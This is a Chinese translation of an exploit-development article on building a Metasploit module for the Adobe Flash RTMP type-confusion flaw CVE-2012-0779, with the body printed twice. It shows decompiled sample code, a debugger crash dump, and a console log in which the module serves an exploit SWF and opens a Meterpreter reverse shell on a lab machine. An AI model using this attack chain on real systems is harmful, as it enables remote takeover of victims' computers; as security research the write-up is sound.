利用Metasploit編寫Adobe Flash漏洞模塊 (CVE-2012-0779)
發(fā)布時間:2012-06-28 15:22:11 作者:佚名
我要評論

上個月爆了一個Adobe Flash的漏洞,影響Windows, Macintosh和Linux平臺下的Adobe Flash Player 11.2.202.233和之前版本
上個月爆了一個Adobe Flash的漏洞,影響Windows, Macintosh和Linux平臺下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一個對象混淆引起的嚴重漏洞。這個漏洞可導致應(yīng)用程序崩潰或可能允許攻擊者完全控制受影響系統(tǒng)。
根據(jù)報告,此漏洞目前在網(wǎng)絡(luò)上已經(jīng)積極被利用,通過誘使用戶點擊嵌入到Email消息中的以文件來觸發(fā)。利用的程序目標針對windows平臺上的Flash Player。
今天我們來研究一下如何在Metasploit中編寫該漏洞的EXP。
最初我們發(fā)現(xiàn)了這個漏洞的樣本,并開始分SWF(Shockwave文件),我們發(fā)現(xiàn)該漏洞利用SWF堆噴射技術(shù)使攻擊者可以操縱應(yīng)用程序的內(nèi)存分配,可以控制內(nèi)存特定的區(qū)域,然后可以執(zhí)行任意shellcode。但是我們并沒有在實際環(huán)境中觸發(fā)該漏洞。經(jīng)過更多的測試之后,我們認為該漏洞很有可能是由于在RTMP傳遞數(shù)據(jù)的時候處理 AMF (Action Message Format)發(fā)生的問題。
public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}

我們建立了一個自己的Flash Media Server來檢測數(shù)據(jù)傳輸時的信息。如下圖:
第一個猜測是在systemMemoryCall()的響應(yīng)解析時可能會觸發(fā)漏洞,但是我們的RTMP服務(wù)器沒有識別到該函數(shù)的調(diào)用,而且返回了一個AMF的錯誤信息。進一步測試我們捕獲受感染機器與RTMP服務(wù)器之間的RTMP通信,如下圖:

惡意RTMP服務(wù)器響應(yīng)的“_error”信息如下,看起來如下:
Field Name
Type
Description Command Name
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
運行了RTMP “_error” 響應(yīng)之后,我們終于能夠讓Adobe Flash觸發(fā)該漏洞,如下:
(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax
因為處理畸形的 RTMP _error會產(chǎn)生類型混亂,所以在測試該漏洞時不需要等待systemMemoryCall()請求,相反,一個惡意的RTMP服務(wù)器可以返回一個制作好的惡意”_error” 響應(yīng)信息,包含一個鏈接RTMP服務(wù)器的命令。這樣我們更容易建立Metasploit的模塊。
Metasploit的支持許多不同的協(xié)議,但是沒有RTMP,所以我們建立了一個Rex::Socket::TcpServer的API,可以跟客戶端產(chǎn)生交互的RTMP。提供三次握手協(xié)議和服務(wù)器惡意的_error響應(yīng)信息。
如下:
msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process
該模塊在新的Metasploit中已經(jīng)支持。請下載或更新到最新版本使用即可。
via/Juan Vazquez 譯/freebuf
根據(jù)報告,此漏洞目前在網(wǎng)絡(luò)上已經(jīng)積極被利用,通過誘使用戶點擊嵌入到Email消息中的以文件來觸發(fā)。利用的程序目標針對windows平臺上的Flash Player。
今天我們來研究一下如何在Metasploit中編寫該漏洞的EXP。
最初我們發(fā)現(xiàn)了這個漏洞的樣本,并開始分SWF(Shockwave文件),我們發(fā)現(xiàn)該漏洞利用SWF堆噴射技術(shù)使攻擊者可以操縱應(yīng)用程序的內(nèi)存分配,可以控制內(nèi)存特定的區(qū)域,然后可以執(zhí)行任意shellcode。但是我們并沒有在實際環(huán)境中觸發(fā)該漏洞。經(jīng)過更多的測試之后,我們認為該漏洞很有可能是由于在RTMP傳遞數(shù)據(jù)的時候處理 AMF (Action Message Format)發(fā)生的問題。
復制代碼
代碼如下:public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}

我們建立了一個自己的Flash Media Server來檢測數(shù)據(jù)傳輸時的信息。如下圖:
第一個猜測是在systemMemoryCall()的響應(yīng)解析時可能會觸發(fā)漏洞,但是我們的RTMP服務(wù)器沒有識別到該函數(shù)的調(diào)用,而且返回了一個AMF的錯誤信息。進一步測試我們捕獲受感染機器與RTMP服務(wù)器之間的RTMP通信,如下圖:

惡意RTMP服務(wù)器響應(yīng)的“_error”信息如下,看起來如下:
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
運行了RTMP “_error” 響應(yīng)之后,我們終于能夠讓Adobe Flash觸發(fā)該漏洞,如下:
復制代碼
代碼如下:(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????
0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax
因為處理畸形的 RTMP _error會產(chǎn)生類型混亂,所以在測試該漏洞時不需要等待systemMemoryCall()請求,相反,一個惡意的RTMP服務(wù)器可以返回一個制作好的惡意”_error” 響應(yīng)信息,包含一個鏈接RTMP服務(wù)器的命令。這樣我們更容易建立Metasploit的模塊。
Metasploit的支持許多不同的協(xié)議,但是沒有RTMP,所以我們建立了一個Rex::Socket::TcpServer的API,可以跟客戶端產(chǎn)生交互的RTMP。提供三次握手協(xié)議和服務(wù)器惡意的_error響應(yīng)信息。
如下:
復制代碼
代碼如下:msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process
該模塊在新的Metasploit中已經(jīng)支持。請下載或更新到最新版本使用即可。
via/Juan Vazquez 譯/freebuf
相關(guān)文章
2019最新RDP遠程桌面漏洞官方補丁(針對win2003、win2008)
Windows系列服務(wù)器于2019年5月15號,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會遭到攻擊,該服務(wù)器漏洞利用方式是通過遠程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma的問題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計算機,該蠕蟲感染計算機后會向計算機中植入敲詐者病毒,導致電腦大量文件被加密,本文對其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
- 漏洞檢測工具用語有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細,具有參考解決價值,感興趣的朋友一起看看吧2016-10-11
- 漏洞無處不在,它是在硬件、軟件、協(xié)議的具體實現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)2016-09-29
手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來APT追蹤盛行,最常見的就是各種以釣魚開始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來看看吧2016-09-28- SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡單七步教你如何解決關(guān)鍵SSL安全問題2016-09-23
Python 爬蟲修養(yǎng)-處理動態(tài)網(wǎng)頁
在爬蟲開發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實現(xiàn)按照深度進行爬行。但是實際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12